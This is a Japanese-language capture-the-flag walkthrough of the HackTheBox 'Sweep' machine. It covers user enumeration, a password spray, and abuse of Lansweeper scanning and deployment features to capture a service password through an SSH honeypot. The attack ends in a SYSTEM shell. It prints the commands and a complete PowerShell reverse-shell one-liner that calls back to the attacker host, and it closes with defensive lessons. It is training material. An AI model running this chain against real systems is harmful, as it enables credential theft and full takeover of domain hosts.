HackTheBox: Sweep — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC + Lansweeper (81/82)
→
AD DC + Lansweeper (81/82)
RID Brute (guest)
12ユーザー列挙
→
12ユーザー列挙
username=passwordスプレー
intern:intern ヒット
→
intern:intern ヒット
Lansweeper Web UI
Scanning Target+SSHハニーポット
→
Scanning Target+SSHハニーポット
svc_inventory_lnx窃取
net rpc addmemでLansweeper Admins
→
net rpc addmemでLansweeper Admins
WinRM
user.txt ✓
→
user.txt ✓
資格情報マッピング作成
平文を見ずにsvc_inventory_win紐付け
→
平文を見ずにsvc_inventory_win紐付け
Deployment Package
Run mode: Scanning credentials
→
Run mode: Scanning credentials
SYSTEM リバースシェル
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 5000 -T4 10.129.234.177 nmap -Pn -sV -sC -p 53,81,82,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 10.129.234.177
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain 81/tcp open http (Lansweeper, HTTP) 82/tcp open http (Lansweeper, HTTPS login.aspx) 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open ncacn_http 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server 5985/tcp open wsman (WinRM) 9389/tcp open adws Domain: sweep.vl / DC hostname: INVENTORY (inventory.sweep.vl)
ℹ️
典型的な Windows AD ドメインコントローラのポート構成に加え、
81/82番でLansweeper(IT資産管理ツール)のWeb UIが公開されている点が特徴的。
82番は
/login.aspxを持つHTTPS版。
SMB匿名アクセス確認
BASH
netexec smb 10.129.234.177 -u guest -p '' echo "10.129.234.177 sweep.vl inventory.sweep.vl" >> /etc/hosts
RESULT
SMB 10.129.234.177 445 INVENTORY [*] Windows Server 2022 ... (domain:sweep.vl) SMB 10.129.234.177 445 INVENTORY [+] sweep.vl\guest: (Guest)
PHASE 2
RID Brute とパスワードスプレーによる資格情報収集
RID Bruteforce によるユーザー列挙
BASH
netexec smb 10.129.234.177 -u guest -p '' --rid-brute 9999
RESULT
SidTypeUser: jgre808, bcla614, hmar648, jgar931, fcla801, jwil197, grob171, fdav736, jsmi791, hjoh690, svc_inventory_win, svc_inventory_lnx, intern
ℹ️
svc_inventory_win / svc_inventory_lnx という命名から
Lansweeperのスキャン用サービスアカウント(Windows対象用・Linux対象用)であると推測できる。
intern という汎用的なアカウント名も存在。
username=password スプレー
BASH
netexec smb 10.129.234.177 -u users.txt -p users.txt --no-bruteforce --continue-on-success
RESULT
SMB 10.129.234.177 445 INVENTORY [+] sweep.vl\intern:intern
✅
intern:intern という弱いユーザー名=パスワードの組み合わせがヒット。
PHASE 3
Lansweeper SSHハニーポットで svc_inventory_lnx を窃取 → user.txt
Lansweeper Web UI へログイン
NOTE
https://10.129.234.177:82/login.aspx に intern:intern でログイン。 ログインフォームは ASP.NET WebForms (postback) のため、ユーザー名/パスワード欄 入力後は「WINDOWS LOGIN」ボタン(実体は id=LoginButton)を直接クリックする必要がある。 Enterキー送信や form.submit() では __EVENTTARGET が正しくセットされずログインに失敗する。
Scanning Target + Credentials で SSH ハニーポットへ誘導
BASH (Kali側)
# SSHハニーポットを1337番で起動 (sshesame等) sshesame --config sshesame.yaml # listen :1337, 入力された資格情報をログ出力
NOTE (Lansweeper Web UI操作)
Scanning > Scanning targets で Kali の IP をスキャン対象として追加 (SSH port 1337) Scanning > Scanning credentials で "Inventory Linux" (svc_inventory_lnx) 資格情報を そのスキャン範囲にマッピング → Lansweeper が定期スキャンで自動的に svc_inventory_lnx の実際のパスワードを使って SSH接続を試みる → ハニーポットが平文捕捉
RESULT (ハニーポットログ)
password auth: svc_inventory_lnx / 0|5m-U6?/uAX
✅
Lansweeperの「スキャン対象に自分のマシンを追加し、既存の保存済み資格情報を
マッピングしてスキャンを走らせる」という正規機能を悪用し、
Web UI上ではパスワードの平文を一切表示しないまま実際の
認証試行を自分のハニーポットへ誘導してパスワードを窃取できる。
Lansweeper Admins グループへ intern を追加
BASH
netexec smb 10.129.234.177 -u svc_inventory_lnx -p '0|5m-U6?/uAX' # 有効なドメインアカウントと確認 net rpc group addmem 'LANSWEEPER ADMINS' intern \ -U 'sweep.vl/svc_inventory_lnx%0|5m-U6?/uAX' -S 10.129.234.177
ℹ️
BloodHound調査で svc_inventory_lnx が「Lansweeper Discovery」グループの
メンバーであり、そのグループが「Lansweeper Admins」グループへの
GenericAll ACLを持つことが判明。この権限を使い intern を
Lansweeper Admins へ追加する。
WinRM で user.txt 取得
BASH
netexec winrm 10.129.234.177 -u intern -p intern -x 'type C:\user.txt'
RESULT
d2d89a58c454428461b1c7b2547f9165
user.txt — intern (WinRM)
d2d89a58c454428461b1c7b2547f9165
⚠️
重要: Lansweeper Admins は Lansweeper アプリケーション内の
管理者権限であり、OS(Windows)レベルのローカル管理者ではない。
そのためWinRMでのログイン・user.txt読み取りはできるが、
C:\Users\Administrator\Desktop\root.txt へは
Access is denied となり読めない。root化には別のベクターが必要。
PHASE 4
スキャン資格情報マッピング作成 (平文パスワードを見ずに武器化)
なぜ Deployment がそのままでは失敗するか
NOTE
Lansweeper の Deployment Package 機能には Run mode というオプションがあり、 "System account" を選ぶと一見 SYSTEM 権限で実行されるように見える。 しかし実際には Deployment Package を対象ホストへ push・実行するための 最初の WMI/SMB 接続に「その対象に紐付けられたスキャン資格情報」が必要で、 資格情報マッピングが無い対象に対しては Failure while connecting to Asset. No credentials were found. というエラーで失敗する (Run mode=System account でも同様)。
🚨
実際の昇格ベクター: Scanning > Scanning credentials 画面には
既に
Inventory Windows (ログイン: SWEEP\svc_inventory_win)
という資格情報が保存されているが、マッピング済みでは無い
(Not mapped)。intern はこの資格情報の平文パスワードを閲覧する権限は無いが、
「Windows Computer」マッピングとして対象ホスト名に紐付ける」操作自体は
Lansweeper Admin権限で実行できる。マッピングさえ作れば、
Deployment の Run mode を「Scanning credentials」にすることで、
Lansweeper が内部でこの資格情報を復号してWMI/SMB接続に使い、
svc_inventory_win 名義でコードを実行してくれる。
Scanning credentials 画面で資格情報マッピングを作成
NOTE (Web UI操作手順)
1. https://10.129.234.177:82/Scanning/Credentials/ を開く
2. "Credential Mapping" セクションの "+ Map Credential" をクリック
3. ダイアログの "Mapping type" を "Windows Computer" に変更
4. 資格情報一覧から "Inventory Windows" (SWEEP\svc_inventory_win) を選択
5. "Domain\Computername" 欄に SWEEP\INVENTORY と入力
(単に INVENTORY だけだと "'domain\computername' OR 'WORKGROUP\computername'"
というバリデーションエラーになる — ドメインプレフィックス必須)
6. Ok をクリックしてマッピングを保存
RESULT
Credential Mapping テーブルに以下が追加される: Mapping type: Windows Computer | Mapped to: SWEEP\INVENTORY | Credentials: Inventory Windows "Inventory Windows" の Mapping 列が赤(Not mapped)から緑チェックマークに変化
✅
これで intern はパスワードを一切知らないまま svc_inventory_win を
Deployment 実行に使える状態になった。
PHASE 5
Deployment Package で SYSTEM リバースシェル → root.txt
Deployment Package の作成
NOTE (Web UI操作手順)
1. Deployment > Deployment packages > "+ New package" をクリック 2. パッケージ名 "pwn" を入力し Ok 3. "Add step" をクリック 4. Action を "Command" に変更 (デフォルトは "Installer") 5. Step name に "pwn"、Command 欄に PowerShellリバースシェルのワンライナーを貼り付け
POWERSHELL (Command ステップの中身)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<kali_ip>',1337);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
};
$client.Close()"
BASH (Kali側リスナー)
nc -lvnp 1337
Run mode を Scanning credentials に設定
NOTE
パッケージ編集画面の "Deployment package options" > "Run mode" で "Predefined" > "Scanning credentials" を選択(自動保存される、Saveボタン不要)。 "System account" のままだと Phase 4 のマッピングがあっても 資格情報解決の対象が異なり同じエラーになるため、必ず明示的に "Scanning credentials" を選ぶ。
Deploy Now → INVENTORY を選択してデプロイ実行
NOTE (Web UI操作手順)
1. "Deploy now" をクリック 2. "Deploy on" を "Selection" に切り替え 3. "+ Select Assets" をクリックし、一覧から "INVENTORY" にチェック → Ok 4. Deploy ダイアログの Ok をクリック 5. "Are you sure you want to deploy this package?" の確認ダイアログで "Yes" をクリック (この確認ステップを見落とすと実際にはデプロイされないまま終わる)
RESULT (Kali側 nc リスナー)
connect to [<kali_ip>] from (UNKNOWN) [10.129.234.177] 52726
> whoami
nt authority\system
✅
マッピング済みの
svc_inventory_win 資格情報を使って
Lansweeper が INVENTORY 上でデプロイパッケージを実行し、
SYSTEM 権限のリバースシェルが返ってくる。
root.txt 取得
BASH (受信したSYSTEMシェル内)
type C:\Users\Administrator\Desktop\root.txt
RESULT
71770ae0f007e2aed64425728977cc65
root.txt — nt authority\system
71770ae0f007e2aed64425728977cc65
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — intern (WinRM)
d2d89a58c454428461b1c7b2547f9165
root.txt — nt authority\system (INVENTORY)
71770ae0f007e2aed64425728977cc65
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 弱いユーザー名=パスワード | AD アカウント intern | 初期ドメイン認証情報の取得 | Medium | RID BruteでユーザーIDを列挙後、username=passwordスプレーでヒット |
| Lansweeper Scanning機能の悪用 | Lansweeper Web UI (svc_inventory_lnx) | 保存済み資格情報の平文窃取 | High | 攻撃者所有ホストをScanning Targetに追加し既存Credentialをマッピング、SSHハニーポットで実パスワードを捕捉 |
| Lansweeper ACL誤設定 | Lansweeper Discovery → Lansweeper Admins グループ | アプリケーション管理者権限への昇格 | High | GenericAll ACLを利用しnet rpc group addmemでinternをLansweeper Adminsへ追加 |
| Lansweeper Deployment 低権限RCE | Lansweeper Deployment Package (Scanning credentials Run mode) | ターゲットホスト上でのSYSTEM権限コード実行 | Critical | 低権限Lansweeper Adminでも既存スキャン資格情報を平文を見ずにマッピングし、Deployment Packageの実行資格情報として悪用できる設計上の欠陥 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + SMB匿名アクセス確認 | AD DC + Lansweeper (81/82) 発見 |
| 2 | 資格情報収集 | RID Brute + username=passwordスプレー | intern:intern |
| 3 | Lansweeper悪用 | Scanning Target + SSHハニーポット + GenericAll ACL | svc_inventory_lnx窃取 → user.txt |
| 4 | 資格情報マッピング | Windows Computer マッピング (平文非開示) | svc_inventory_win を SWEEP\INVENTORY へ紐付け |
| 5 | Deployment RCE | Command step + Run mode: Scanning credentials | SYSTEM リバースシェル → root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ドメインアカウントにユーザー名=パスワードという弱い組み合わせが許容されている | パスワードポリシーでユーザー名を含む・一致するパスワードを禁止し、定期的なパスワードスプレー監査を実施する。 |
| Lansweeperの「Scanning Target追加」機能が低権限ユーザーから自由に使え、攻撃者管理下のホストへ既存資格情報を使った認証を誘導できる | Scanning Targetの追加を高権限ロールに限定し、社内IPレンジ外への認証試行を検知・アラートする。 |
| Lansweeper内部グループ間のACL(Lansweeper Discovery → Lansweeper Admins へのGenericAll)が過度に緩い | Lansweeperの内部グループ権限を最小権限の原則で再設計し、Discovery用アカウントに管理者グループへの変更権限を与えない。 |
| 低権限のLansweeper Admin(Webアプリ上の役割)が、既存の高権限スキャン資格情報を平文を見ずにDeployment実行用途へ転用できてしまう設計上の欠陥 | Deployment機能の実行権限とスキャン資格情報の利用権限を分離し、Deployment実行には別途明示的な承認・専用の低権限実行アカウントを要求する。Lansweeperを最新版に更新し既知の権限昇格脆弱性のパッチ適用状況を確認する。 |

